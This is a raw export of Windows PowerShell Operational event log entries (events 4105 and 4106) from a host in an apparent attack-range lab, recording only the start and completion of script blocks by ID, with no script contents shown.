Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036088
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036072
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036071
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036066
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036065
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036043
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036042
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036041
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036040
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
